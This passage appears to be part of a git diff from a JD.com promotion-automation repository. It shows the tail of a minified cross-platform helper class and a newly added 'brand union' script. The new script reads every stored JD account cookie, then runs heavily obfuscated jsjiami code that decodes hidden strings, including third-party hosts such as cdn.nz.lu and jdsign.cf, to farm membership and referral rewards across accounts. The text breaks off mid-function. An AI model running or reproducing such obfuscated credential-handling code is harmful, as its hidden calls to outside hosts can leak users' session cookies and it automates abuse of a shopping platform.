"{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_jinggengjcq_dapainew.js b/jd_jinggengjcq_dapainew.js new file mode 100755 index 0000000..8e60d86 --- /dev/null +++ b/jd_jinggengjcq_dapainew.js @@ -0,0 +1,33 @@ +/* +环境变量 + +actId 活动id + +无内置,助力ck1,默认不跑 +7 7 7 7 7 jd_jinggengjcq_dapainew.js + +*/ +const $ = new Env("大牌联合-通用脚本"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let actId = process.env.actId ?? ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +var _0xodL='jsjiami.com.v6',_0xodL_=['‮_0xodL'],_0x2eb8=[_0xodL,'QkFOY2s=','RFdQSlU=','b3ZPU2I=','emZqSXI=','b2lsY0M=','WUlpa0k=','TW5FSW0=','WkFJa3o=','S1JLenQ=','UXJMZWs=','dEh5eVE=','a2ZoZW4=','VGViUEY=','dHl5elA=','eEZzeWg=','dkhMREY=','UkpUdlc=','bEFuTkI=','Y096dkQ=','Q3Z2alo=','QVV5RGw=','dU5kcWU=','S0lOaGE=','aVRSYUE=','bVBwdmY=','Y3lacG8=','bE5CTXA=','U1hUWGc=','Y0hHU0I=','RkluVkg=','eG1GSWc=','Y3BxUlI=','elN3T1E=','aER5TlU=','T0lNZFM=','SHNJeUM=','aWlIUm4=','QWN2YUk=','VlVXZXA=','OGFkZmI=','amRfc2hvcF9tZW1iZXI=','OS4yLjA=','amluZ2dlbmdqY3E=','amRzaWduLmNm','VERPSUs=','U2VSdVg=','Y3ZNcWI=','TEFCTHE=','UlNLa0w=','YXFLSFc=','WklLc2w=','SUhURnI=','ZEpHc3U=','dkN3TVI=','VHZDU2w=','dHVoRlQ=','QWpoeHA=','aHR0cHM6Ly9jZG4ubnoubHUvZ2V0aDVzdA==','Y2RGb1U=','dkRmZlg=','eG5JV1c=','ZUtleG8=','YktzVGQ=','WVRPVEg=','bGJDWmc=','RHp4SW0=','eUxaU0o=','Rk5MWXk=','UVpDSEg=','a1NUZHE=','dGl4c2Q=','UmJmTkU=','c1hpdmc=','UWlIYms=','RGpVZXg=','YXBwbHk=','bkNJUGI=','WURYekg=','ZXZlWWE=','QllmVFo=','cHFHYmQ=','cmNzc0w=','bVdaUHg=','emRFckw=','aXN2T2JmdXNjYXRvcg==','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','YmJEVVY=','eFR6TEs=','eWJnRk8=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','d0t5Q1Y=','VnVaQ3Q=','SVRCUlY=','anZ5Zko=','Wk1tRUM=','TXNZSlk=','QU1waHY=','Z29iQ3c=','c2JocG8=','VnhaWko=','WUJxYk0=','T0hsUWk=','alRMalo=','allVWFI=','Q0ZDWVM=','QWpwZXY=','ZGZsd2w=','Q2VHTEU=','b2xLQmQ=','YmNRdHk=','b2JsUGU=','dHFFenM=','d0RKRlM=','S1JnQ1I=','d3NIclU=','RmVHZ0o=','QkRXWG0=','TnNPdnM=','QkJ3Umo=','WEtaanc=','ZkhEQnk=','SWp5S0I=','aURWQ0c=','bEN6TmM=','aG1hRWY=','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','WlN3RkI=','SGF6WGg=','eEFJeWM=','VGhubHQ=','d1NCQW0=','V2hwekI=','aHRtWWM=','ZURyUm0=','bFZ4T3g=','V21NT2M=','QkJxVkw=','aHR0cHM6Ly9jZG4ubnoubHUvZGRv','cmlUZVY=','ckVzbXk=','U29UcFo=','TGhiZ2Y=','enpaenM=','S0R2TEI=','UGdlYmU=','IGdldFNpZ24gQVBJ6K+35rGC5aSx6LSl77yM6K+35qOA5p+l572R6Lev6YeN6K+V','WUVDTEk=','SUdvZkw=','aU5NVHA=','RXRSdlY=','WVB0dUU=','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','UmdJbng=','WlBNTUI=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','NTFCNTlCQjgwNTkwM0RBNENFNTEzRDI5RUM0NDgzNzU=','MTAyOTkxNzE=','5Y675Yqp5YqbIC0+IA==','RXd6UVE=','5pyJ54K55YS/5pS26I63','bXNn','bmFtZQ==','V0xNZGk=','eVhZS1A=','QnZVREw=','bGVuZ3Ro','VXNlck5hbWU=','S3BvQm4=','bWF0Y2g=','aW5kZXg=','a0VwRVQ=','aXNMb2dpbg==','bmlja05hbWU=','ZEZPalM=','bG9n','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','ZWRLU2g=','RHdPQkw=','dGhVRXY=','TGFhWVc=','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','aXNOb2Rl','YmVhbg==','QURJRA==','R1pVT2Q=','b29jYXk=','VVVJRA==','aERvcXc=','dmZiYnc=','YXBwa2V5','Q256ZVQ=','dXNlcklk','S3phdko=','YWN0SWQ=','YXV0aG9yQ29kZQ==','Um1BbFE=','UUhsU08=','d2FpdA==','QmVnQVQ=','CuOAkOS6rOS4nOi0puWPtw==','IAogICAgICAg4pSUIOiOt+W+lyA=','IOS6rOixhuOAgg==','V0ltaU0=','c2VuZE5vdGlmeQ==','R2NBZHg=','dG9rZW4=','ZE5DenA=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','MTAwMQ==','dXNlckluZm8=','YWN0aXZpdHlfbG9hZA==','Q25STUs=','WmZUdm8=','MS7liqnlipvnoIEgLT4g','5ZCO6Z2i55qE5bCG57uZ6L+Z5Liq5Yqp5Yqb56CB5Yqp5YqbIC0+IA==','Mi7nu5HlrprliqnlipsgLT4=','Y29tcGxldGUvbWlzc2lvbg==','cmVsYXRpb25CaW5k','c2hvcExpc3Q=','My7lhbPms6jlupfpk7ogLT4=','dW5pdGVDb2xsZWN0U2hvcA==','NS7liqDlhaXkvJrlkZggLT4=','QVJDZXo=','5Lya5ZGY5Y2h5pWw6YePIC0+IA==','Mnw0fDB8M3wx','b3BlbkNhcmQ=','5byA6YCa5Lya5ZGY','NDAx','5bey57uP5piv5Lya5ZGY5LqG','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','YnV5ZXJOaWNr','YWN0aXZpdHlJbmZv','WExnVkM=','ZkRBT2k=','TWFocmY=','d0haQno=','Z2JLbEk=','S3ZEb0g=','c0VPYXQ=','ZkJ0cnU=','ZlJRYW0=','eFliemo=','Q1F3aWU=','R01HTVo=','U3dEeVQ=','b1FoVlA=','eUl4R3I=','S3Nramg=','akJIQlE=','Yklnb0c=','Z1VVVHc=','dkJzUnY=','eUNWTkM=','UXVQQlA=','YWJGb3o=','b3Blbg==','VVp2dVo=','c3BsaXQ=','RXZGdmE=','b3BlbkNhcmRBY3Rpdml0eUlk','WHppV0w=','b3dmeVc=','V0Z5VVc=','VXBZUlE=','bkVUdWY=','cmVzdWx0','aW50ZXJlc3RzUnVsZUxpc3Q=','aW50ZXJlc3RzSW5mbw==','YWN0aXZpdHlJZA==','cGFyc2U=','cUtjZXA=','cmV0Y29kZQ==','d3BCbno=','ZGF0YQ==','aGFzT3duUHJvcGVydHk=','bXFwaEM=','YmFzZUluZm8=','bmlja25hbWU=','alNubm4=','U3VPWms=','dGVUQmI=','dkl6clo=','enVJbGs=','QXhZZUU=','SXZvTVk=','CCBd','ZHJhdy9wb3N0','Y0FodlI=','5Lqs5Lic5rKh5pyJ6L+U5Zue5pWw5o2u','T29ZbEk=','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','Mi4w','UE9TVA==','REl1Vk0=','TkNwUEc=','L29wZW5DYXJkTmV3Lw==','YXNzaWdu','cGFyYW1z','YWRtSnNvbg==','bERGaXU=','ZFlrck4=','cG9zdA==','Q3FwelI=','YlZRc0M=','WnRuaEU=','Ym94Ykk=','T0pQY3o=','T1laVlg=','Qk9ER3E=','S29UdXg=','Y29kZQ==','a29YSFM=','c3VjY2Vzcw==','VEFNbHc=','c3RhdHVz','UlpBTUE=','YXhMenQ=','WVpxdGs=','bGdHdkM=','d2VOZlA=','Y3VzQWN0aXZpdHk=','YWN0TmFtZQ==','VFdMdFQ=','cm9CYlk=','Y3VzU2hvcHM=','QWpSZFk=','cmVtYXJr','dGxEb04=','YXdhcmRTZXR0aW5n','YXdhcmROYW1l','Y2hGSWQ=','dHVJckI=','U2hzR2g=','YmluZFdpdGhWZW5kZXJtZXNzYWdl','bWVzc2FnZQ==','Z1JWVWk=','bG9nRXJy','YXlHUks=','RENOa0o=','QWNDVG0=','dW9FS0w=','YXBpLm0uamQuY29t','Ki8q','a2VlcC1hbGl2ZQ==','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0=','ZEJxUE0=','c3RyaW5naWZ5','JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','TWJTS3E=','TG5Na1E=','SkZBRFY=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','bE9yT00=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','Q0JqRm4=','YWN0aXZpdHlVcmw=','d1ZidFA=','ZE5KeE8=','dWJoS2I=','Z0N1SEQ=','TEtyRWY=','R2dGc0g=','QkVzRWE=','WHNiQUQ=','dVZEWnQ=','bVBob0E=','ckd6Wmc=','aHJTZGU=','Z2V0','Z09jd3g=','S1ptcWM=','TFVwZkw=','SHNsZUM=','TXJoZUg=','VWl2SW0=','YUJIQ0c=','SUx4TWs=','Zmxvb3I=','Q0JzRmY=','cmFuZG9t','a0xRQ2M=','eW9IZlA=','a0lZdGI=','dUZlYWg=','Q3lRVmU=','TmxuTFo=','aVJHUlI=','Q3dOY04=','cHp2a20=','VVhkRVI=','YmluZFdpdGhWZW5kZXI=','T1lTY3I=','RmZPYUQ=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj8=','WVZuZUs=','bUFTZmE=','a2d0T0E=','dmdadEw=','fSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9','ZmJnenE=','ZXJDc1I=','cUVXVWg=','aE9GaEs=','R25XTmk=','ak94aUg=','QkhacW4=','TXFXQUY=','WFZjdnk=','RWxnTFI=','enBZWXA=','Z3pSTk8=','aGtoRHo=','bndBbWw=','SkthYmw=','QkNheW0=','SGdTcG0=','dkRKcEY=','cExoZE8=','aU5WaFg=','d1dsRGw=','R25TbHg=','SldtU0M=','ZW52','U0lHTl9VUkw=','amluZ2dlbmdqY3EtaXN2LmlzdmpjbG91ZC5jb20=','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','YXBwbGljYXRpb24vanNvbjsgY2hhcnNldD11dGYtOA==','aHR0cHM6Ly9qaW5nZ2VuZ2pjcS1pc3YuaXN2amNsb3VkLmNvbQ==','aHR0cHM6Ly9qaW5nZ2VuZ2pjcS1pc3YuaXN2amNsb3VkLmNvbS9mcm9udGg1Lw==','aHR0cHM6Ly9qaW5nZ2VuZ2pjcS1pc3YuaXN2amNsb3VkLmNvbS9kbS9mcm9udC9vcGVuQ2FyZE5ldy8=','PyZtaXhfbmljaz0=','dHdvb2I=','cVlGVXI=','WGpGc04=','VXdwSU0=','VXRra3g=','dFdxRnM=','d1RyWUY=','RFNueEg=','YmdFZ2Q=','Y2pndm4=','Znd6YlI=','c2hOYVM=','RUxXSnM=','bmFnYVI=','ZnNMWWY=','cmVwbGFjZQ==','S3dtT1E=','a0xvT1c=','SVVTQUc=','dGZXVms=','aXBVRHE=','aEJxeEI=','a3BrYVA=','a1FFb1A=','R2h5ZkU=','cVFNWEk=','Rm1IeWI=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','b1BlZnU=','dE1GdmM=','QmhLVmg=','dENmYUI=','cXlXSlI=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','bkdBZVk=','UFRqT2o=','V291TUM=','ZVN3RVc=','c2RVTkQ=','QXNtblk=','c09xWVc=','MhSjsjTyipgWIamhi.bcongm.v6I=='];if(function(_0x1a59c0,_0x519de4,_0x1f625f){function _0x17a366(_0x2a88ac,_0xfaae1b,_0x4620b8,_0x401384,_0x173a71,_0x1268bc){_0xfaae1b=_0xfaae1b>>0x8,_0x173a71='po';var _0x3cd094='shift',_0x4ddb21='push',_0x1268bc='‮';if(_0xfaae1b<_0x2a88ac){while(--_0x2a88ac){_0x401384=_0x1a59c0[_0x3cd094]();if(_0xfaae1b===_0x2a88ac&&_0x1268bc==='‮'&&_0x1268bc['length']===0x1){_0xfaae1b=_0x401384,_0x4620b8=_0x1a59c0[_0x173a71+'p']();}else if(_0xfaae1b&&_0x4620b8['replace'](/[MhSTypgWIhbngI=]/g,'')===_0xfaae1b){_0x1a59c0[_0x4ddb21](_0x401384);}}_0x1a59c0[_0x4ddb21](_0x1a59c0[_0x3cd094]());}return 0xfe225;};return _0x17a366(++_0x519de4,_0x1f625f)>>_0x519de4^_0x1f625f;}(_0x2eb8,0x9a,0x9a00),_0x2eb8){_0xodL_=_0x2eb8['length']^0x9a;};function _0x28f6(_0x16fcdb,_0x5bbf46){_0x16fcdb=~~'0x'['concat'](_0x16fcdb['slice'](0x1));var _0x573e73=_0x2eb8[_0x16fcdb];if(_0x28f6['irqusS']===undefined&&'‮'['length']===0x1){(function(){var _0x271811=function(){var _0x55b14c;try{_0x55b14c=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x554d30){_0x55b14c=window;}return _0x55b14c;};var _0x128f32=_0x271811();var _0x43a3c1='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x128f32['atob']||(_0x128f32['atob']=function(_0x44fc43){var _0x4acfe3=String(_0x44fc43)['replace'](/=+$/,'');for(var _0x3373e0=0x0,_0x3b35ea,_0x1be536,_0x5387d1=0x0,_0x2742c4='';_0x1be536=_0x4acfe3['charAt'](_0x5387d1++);~_0x1be536&&(_0x3b35ea=_0x3373e0%0x4?_0x3b35ea*0x40+_0x1be536:_0x1be536,_0x3373e0++%0x4)?_0x2742c4+=String['fromCharCode'](0xff&_0x3b35ea>>(-0x2*_0x3373e0&0x6)):0x0){_0x1be536=_0x43a3c1['indexOf'](_0x1be536);}return _0x2742c4;});}());_0x28f6['hNJeSU']=function(_0xa9608c){var _0x2fb350=atob(_0xa9608c);var _0x50099a=[];for(var _0x29bd2c=0x0,_0x575b86=_0x2fb350['length'];_0x29bd2c<_0x575b86;_0x29bd2c++){_0x50099a+='%'+('00'+_0x2fb350['charCodeAt'](_0x29bd2c)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x50099a);};_0x28f6['oQEzon']={};_0x28f6['irqusS']=!![];}var _0x301aa6=_0x28f6['oQEzon'][_0x16fcdb];if(_0x301aa6===undefined){_0x573e73=_0x28f6['hNJeSU'](_0x573e73);_0x28f6['oQEzon'][_0x16fcdb]=_0x573e73;}else{_0x573e73=_0x301aa6;}return _0x573e73;};!(async()=>{var _0x1bac0c={'LaaYW':_0x28f6('‫0'),'WLMdi':_0x28f6('‫1'),'yXYKP':_0x28f6('‮2'),'BvUDL':function(_0x31c1b5,_0x208762){return _0x31c1b5<_0x208762;},'KpoBn':function(_0x44afb1,_0x5b8cdc){return _0x44afb1(_0x5b8cdc);},'kEpET':function(_0x1945f5,_0x5dd84a){return _0x1945f5+_0x5dd84a;},'dFOjS':function(_0x1133fc){return _0x1133fc();},'edKSh':function(_0x521aca,_0x5490cd){return _0x521aca===_0x5490cd;},'DwOBL':_0x28f6('‮3'),'thUEv':_0x28f6('‫4'),'GZUOd':function(_0x124094,_0x3235e3,_0x50362e){return _0x124094(_0x3235e3,_0x50362e);},'oocay':_0x28f6('‫5'),'hDoqw':function(_0x5c827e,_0x1b57cd){return _0x5c827e(_0x1b57cd);},'vfbbw':_0x28f6('‮6'),'CnzeT':_0x28f6('‫7'),'KzavJ':_0x28f6('‮8'),'RmAlQ':_0x28f6('‮9'),'QHlSO':function(_0x5035d5){return _0x5035d5();},'BegAT':function(_0x49df30,_0x4a3b27){return _0x49df30>_0x4a3b27;},'WImiM':function(_0x4dcfac,_0x32db56){return _0x4dcfac!==_0x32db56;},'GcAdx':_0x28f6('‮a'),'dNCzp':_0x28f6('‮b')};if(!cookiesArr[0x0]){$[_0x28f6('‫c')]($[_0x28f6('‮d')],_0x1bac0c[_0x28f6('‮e')],_0x1bac0c[_0x28f6('‫f')],{'open-url':_0x1bac0c[_0x28f6('‫f')]});return;}for(let _0x576d80=0x0;_0x1bac0c[_0x28f6('‮10')](_0x576d80,cookiesArr[_0x28f6('‫11')]);_0x576d80++){if(cookiesArr[_0x576d80]){cookie=cookiesArr[_0x576d80];originCookie=cookiesArr[_0x576d80];newCookie='';$[_0x28f6('‮12')]=_0x1bac0c[_0x28f6('‫13')](decodeURIComponent,cookie[_0x28f6('‫14')](/pt_pin=(.+?);/)&&cookie[_0x28f6('‫14')](/pt_pin=(.+?);/)[0x1]);$[_0x28f6('‮15')]=_0x1bac0c[_0x28f6('‫16')](_0x576d80,0x1);$[_0x28f6('‫17')]=!![];$[_0x28f6('‮18')]='';await _0x1bac0c[_0x28f6('‮19')](checkCookie);console[_0x28f6('‫1a')](_0x28f6('‮1b')+$[_0x28f6('‮15')]+'】'+($[_0x28f6('‮18')]||$[_0x28f6('‮12')])+_0x28f6('‮1c'));if(!$[_0x28f6('‫17')]){if(_0x1bac0c[_0x28f6('‫1d')](_0x1bac0c[_0x28f6('‮1e')],_0x1bac0c[_0x28f6('‮1f')])){$[_0x28f6('‫1a')](_0x1bac0c[_0x28f6('‫20')]);}else{$[_0x28f6('‫c')]($[_0x28f6('‮d')],_0x28f6('‫21'),_0x28f6('‮22')+$[_0x28f6('‮15')]+'\x20'+($[_0x28f6('‮18')]||$[_0x28f6('‮12')])+_0x28f6('‫23'),{'open-url':_0x1bac0c[_0x28f6('‫f')]});if($[_0x28f6('‮24')]()){}continue;}}$[_0x28f6('‮25')]=0x0;$[_0x28f6('‮26')]=_0x1bac0c[_0x28f6('‫27')](getUUID,_0x1bac0c[_0x28f6('‫28')],0x1);$[_0x28f6('‮29')]=_0x1bac0c[_0x28f6('‮2a')](getUUID,_0x1bac0c[_0x28f6('‫2b')]);authorCodeList=[''];$[_0x28f6('‫2c')]=_0x1bac0c[_0x28f6('‫2d')];$[_0x28f6('‫2e')]=_0x1bac0c[_0x28f6('‮2f')];$[_0x28f6('‫30')]=actId;$[_0x28f6('‫31')]=ownCode?ownCode:authorCodeList[_0x1bac0c[_0x28f6('‫27')](random,0x0,authorCodeList[_0x28f6('‫11')])];console[_0x28f6('‫1a')](_0x1bac0c[_0x28f6('‫16')](_0x1bac0c[_0x28f6('‮32')],$[_0x28f6('‫31')]));await _0x1bac0c[_0x28f6('‫33')](openCardNew);await $[_0x28f6('‫34')](0x7d0);if(_0x1bac0c[_0x28f6('‫35')]($[_0x28f6('‮25')],0x0)){message+=_0x28f6('‫36')+$[_0x28f6('‮15')]+'】'+($[_0x28f6('‮18')]||$[_0x28f6('‮12')])+_0x28f6('‫37')+$[_0x28f6('‮25')]+_0x28f6('‮38');}}}if(_0x1bac0c[_0x28f6('‮39')](message,'')){if($[_0x28f6('‮24')]()){await notify[_0x28f6('‮3a')]($[_0x28f6('‮d')],message,'','\x0a');}else{if(_0x1bac0c[_0x28f6('‮39')](_0x1bac0c[_0x28f6('‮3b')],_0x1bac0c[_0x28f6('‮3b')])){$[_0x28f6('‫3c')]=data[_0x28f6('‫3c')];}else{$[_0x28f6('‫c')]($[_0x28f6('‮d')],_0x1bac0c[_0x28f6('‫3d')],message);}}}})()[_0x28f6('‫3e')](_0x3edf76=>{$[_0x28f6('‫1a')]('','❌\x20'+$[_0x28f6('‮d')]+_0x28f6('‫3f')+_0x3edf76+'!','');})[_0x28f6('‫40')](()=>{$[_0x28f6('‮41')]();});async function openCardNew(){var _0x2b9676={'qKcep':function(_0x156167,_0x36c390){return _0x156167===_0x36c390;},'wpBnz':_0x28f6('‮42'),'mqphC':_0x28f6('‮43'),'XLgVC':function(_0x5e3d9a){return _0x5e3d9a();},'fDAOi':function(_0x275fa6,_0x51f851,_0x20628f){return _0x275fa6(_0x51f851,_0x20628f);},'Mahrf':_0x28f6('‮44'),'wHZBz':function(_0x2886b5,_0x21bda1){return _0x2886b5!==_0x21bda1;},'gbKlI':_0x28f6('‫45'),'KvDoH':_0x28f6('‫46'),'sEOat':function(_0x369c2a,_0x2eeaa5){return _0x369c2a+_0x2eeaa5;},'fBtru':_0x28f6('‫47'),'fRQam':function(_0x1d8ff2,_0x4a51c7){return _0x1d8ff2===_0x4a51c7;},'xYbzj':function(_0x9a7324,_0x388fe9){return _0x9a7324+_0x388fe9;},'CQwie':_0x28f6('‫48'),'GMGMZ':_0x28f6('‮49'),'SwDyT':function(_0x15e207,_0x45bf12,_0x3062cb){return _0x15e207(_0x45bf12,_0x3062cb);},'oQhVP':_0x28f6('‫4a'),'yIxGr':_0x28f6('‫4b'),'Kskjh':_0x28f6('‫4c'),'jBHBQ':_0x28f6('‮4d'),'bIgoG':function(_0x356fd4,_0x1f5722,_0xfb0ebd){return 